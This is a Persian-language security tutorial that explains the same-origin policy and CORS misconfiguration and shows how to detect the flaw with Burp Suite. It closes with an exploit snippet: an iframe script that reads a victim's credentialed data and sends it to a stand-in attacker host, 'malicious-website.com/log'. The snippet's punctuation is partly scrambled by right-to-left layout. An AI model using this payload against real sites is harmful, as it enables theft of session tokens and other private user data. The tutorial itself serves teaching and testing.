آموزش آسیب پذیری یا باگ CORS

باگ CORS

در این قسمت از آموزش قصد داریم شما را با باگ CORS در هک و امنیت آشنا کنیم با ما همراه باشید.

آموزش باگ CORS

آسیب پذیری CORS که مخفف عبارت Cross-origin resource sharing است یکی از اسیب پذیری های خطرناک است ، به این منظور که نفوذگر می‌تواند اطلاعات مختلف و حساس مانند session ها و خیلی اطلاعات حساس دیگر را به دست اورد؛ این اسیب پذیری که بر روی مبحث مرورگرهای مدرن اتفاق خواهد افتاد ارتباط زیادی با SOP ها دارد که در ادامه مبحث SOP را بررسی خواهیم کرد.

نکته : مرورگر ها با استفاده از ساختار و پیاده سازی SOP و ارجین ها
از حملاتی مانند click jacking و xhtml request جلوگیری کنند .

آرجین چیست ؟

زمانی که شما وارد یک سایت می‌شوید برای مثال سایت PentestCore.com در این حالت شما وارد آرجین وب سایت پن تست کور شده اید ، حال نیز اگر پروتکل ارتباطی خود را تغیر دهید و شما با پروتکل http وارد سایت شوید نیز شما وارد یک آرجین دیگری از وب سایت پن تست کور شده اید. همچنین اگر شما به دیگر پورت های وب سایت دسترسی داشته باشید نیز یک ارجین جداگانه برای شما به وجود خواهد امد.

آرجین ها به سه بخش url , port و protocol دسته بندی شده اند .

نکته : ارجینی که برای ادرس pentestcore.com در نظر گرفته می‌شود با ارجینی که برای ادرس pentestcore.ir در نظر گرفته می‌شود کاملا متفاوت است به این دلیل که ادرس url ها کاملا باهم متفاوت است (این نکته شامل ساب دامنه ها هم خواهد شد )

تمام مثال هایی که در پایین برای شما لیست شده است شامل یک آرجین کاملا متفاوت است

(با دقت به مثال های زیر توجه کنید)

http:pentestcore.com

https:pentestcore.com

http:pentestcore.com:8080

http:pentestcore.ir

برای مثال فردی که در آرجین https:pentestcore.com است می‌تواند به تمام داکیومنت های مربوط به همین ارجین دسترسی داشته باشد و به دیگر داکیومنت هایی که در دیگر ارجین ها وجود دارد نمی تواند دسترسی داشته باشد .

SOP چیست ؟ و چه نقشی را در امنیت وب سایت ایفا می‌کند ؟

آموزش آسیب پذیری یا باگ CORS
SOP چیست ؟

SOP که مخفف same origin policy یک قانون و یک فریمورک است که این قابلیت را دارد که بتواند جلوی تغیر خصوصیت یک داکیومنت که در یک آرجین است را توسط داکیومنت دیگری که در یک آرجین دیگر است را بگیرد . جالب است که بدانید حملات تحت کلاینت مانند xss , csrf و دیگر حملات تحت کلاینت وابسه به مبحث SOP است .

  حل مشکل VMware در Intel VT و AMD-V

نکته : رعایت و حفظ SOP بر عهده مرورگر هاست .

باگ CORS چیست ؟
و ممکن است از کجا شکل بگیرد و منطق آن چیست ؟

آموزش آسیب پذیری یا باگ CORS
باگ CORS چیست ؟

همانگونه که پیشتر متوجه شدید ارجین ها این امنیت را برقرای می کنند تا نفوذگر توانایی ارسال ریکوئست از یک ارجین به ارجین دیگر را با استفاده از AJAX نداشته باشد، حال نیز دو وب سایت را تصور کنید که بر روی هاست های مختلف و در ارجین های متفاوت وجود دارند و یکی از وب سایت ها نیاز دارد که تصاویری که در وب سایت دیگری وجود دارد را فراخوانی کند که این کار نیز توسط هدر های http که به سمت سرور ارسال می‌شود قابل انجام است .

نکته : SOP نیز با دریافت تصاویر و ویدیو ها مشکلی ندارد
اما سخت گیری بسیار زیادی در رابطه با ارسال تگ های inline و یا xhtml ها می کند .

حال تصور کنید این مکانیزم ارتباطاتی به صورت امن نباشد و نفوذگر می تواند با استفاده از ریکوئست های AJAX و یا تگ هایی مانند تگ های iframe از طریق وب سایت اول بر روی وب سایت قربانی ریکواست هایی را ارسال کند و یوزر ها و یا دیگر اطلاعات حساس را در پنجره مرورگر خود مشاهده کند .

حال برای بهتر متوجه شدن مفهوم SOP به مثال زیر توجه کنید :

در ابتدا به آرجین سایت https://pentestcore.com می رویم و اگر inspect element را اجرا کنید و به بخش console بروید سپس می توانید با استفاده از دستورات AJAX اقدام به ارسال ریکوئست کنید؛ در ابتدا با استفاده از دستور زیر یک متغیر تغریف می کنیم تا بتوانیم یک XMLHttpRequest نیز ارسال کنیم.

;()var pentestcore=new XMLHttpRequest

حال نیز در ادامه با استفاده از تابع open و متد GET نیز تایین می کنیم که ریکوئست مورد نظر از آرجین https://pentestcore.com به کدام آرجین ارسال شود که در این قسمت ما از آرجین https:pentestcore.ir استفاده کرده ایم.

;(“pentestcore.open(“GET”,”http://pentestcore.ir

در مرحله اخر با استفاده از تابع send اقدام به ارسال ریکوئست می کنیم :

;()pentestcore.send

حال نیز خواهید دید که با ارور مواجه خواهید شد و مرورگر شما این اجازه را به شما نخواهد داد.

آموزش آسیب پذیری یا باگ CORS
ارسال ریکوئست

اما اگر دقیقا به همان آرجینی که در آن قرار دارید آرجین ارسال کنید
خواهید دید که با هیچ اروری مواجه نخواهید شد .

  بازدید فیک یوتیوب با ابزار YouTubeViews

نحوه شناسایی باگ CORS

آموزش آسیب پذیری یا باگ CORS

برای شناسایی باگ CORS باید از ارسال ریکوئست به قسمت ها و دایرکتوری های حساس استفاده کنید و اگر در ریسپانس بازگشتی عبارت Access-control-Allow-Credentials برابر با مقدار True بود نیز متوجه خواهید شد که وب اپلیکیشن مورد نظر دارای باگ CORS است.

برای درک بهتر این موضوع به مثال زیر توجه کنید (مثال زیر در یک محیط آزمایشگاهی است ):

در این قسمت ما ابزار Burp Suite را بر روی مرورگر خود تنظیم کرده ایم
و یک درخواستی را به یکی از فایل های حساس که اطلاعات کاربر را نمایش می دهد ارسال کرده ایم :

آموزش آسیب پذیری یا باگ CORS
استفاده از ابزار Burp Suite برای باگ CORS

سپس اطلاعات پروکسی شده را select میکنیم و به بخش Repeater ارسال میکنیم

نکته : اگر با ابزار Burp Suite آشنایی ندارید
می توانید آموزش ابزار Burp Suite که در سایت برای شما قرار داده ایم مشاهده کنید .

زمانی که اطلاعات را به Repeater ارسال کردید باید قسمتی به Header بسته خود اضافه کنید
تا بتوانید باگ CORS را تست کنید که عبارت ان به صورت زیر است :

Origin:http://example.com

نکته : در قسمت example.com باید ادرس سروری را وارد کنید
که قصد دارید با استفاده از ان سرور اقدام به اکسپلویت کردن آسیب پذیری کنید .

سپس بر روی گزینه Send کلیک کنید و سپس در قست Response خواهید دید که مقدار True به عبارت Access-control-Allow-Credentials اختصاص داده شده است به همین منظور متوجه می شوید که وب سایت هدف شما دارای باگ CORS است .

آموزش آسیب پذیری یا باگ CORS
تست باگ CORS

نحوه اکسپلویت کردن باگ CORS

آموزش آسیب پذیری یا باگ CORS
اکسپلویت کردن باگ CORS

در ادامه زمانی که باگ CORS را نیز پیدا کرده اید می توانید با راه اندازی یک سرور و اجرا کردن دستورات زیر در سرور اقدام به اکسپلویت کردن آسیب پذیری کنید و اطلاعات مهم مانند APK key , CSRF Token ها و دیگر اطلاعات حساس را با استفاده از پیاده سازی یک لیستنر با استفاده از اسکریپ زیر دریافت کنید :

<iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=”data:text/html,<script
;()var req = new XMLHttpRequest
;req.onload = reqListener
;(req.open(‘get’,’vulnerable-website.com/sensitive-victim-data’,true
;req.withCredentials = true
;()req.send
}()function reqListener
;location=’malicious-website.com/log?key=’+this.responseText
;{
</script></iframe>

نتیجه گیری

آموزش آسیب پذیری یا باگ CORS
جمع بندی آسیب پذیری CORS

در این قسمت از آموزش شما را با آسیب پذیری یا باگ CORS آشنا کرده ایم و نحوه پیدا کردن و اکسپلویت کردن ان را نیز برای شما نیز شرح داده ایم. برای اشنایی بیشتر با اسیب پذیری های مختلف می توانید اموزش های بخش تست نفوذ وب اپلیکیشن را مشاهده کنید.

موفق باشید.

4/5 (4 نظر)

مطالب مرتبط

داده کاوی

Data Mining (داده کاوی) چیست؟

در این اموزش با دیتا ماینینگ یا داده کاوی به صورت کامل اشنا خواهید شد با ما در ادامه این اموزش همراه باشید. 0/5 (0 نظر)   با این مرورگر ها در اینترنت مخفی بمانید

اسکن سریع اسیب پذیری

اسکن سریع اسیب پذیری با CRLFuzz

در این آموزش با نحوه اسکن سریع اسیب پذیری ها با استفاده از ابزار CRLFuzz آشنا خواهید شد، با ما در ادامه این آموزش هک و امنیت همراه باشید. 0/5 (0 نظر)   با این مرورگر ها در اینترنت مخفی بمانید

1 دیدگاه در “آموزش آسیب پذیری یا باگ CORS”

  • علوی تیر ۱۲, ۱۳۹۹ پاسخ

    عالی بود

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *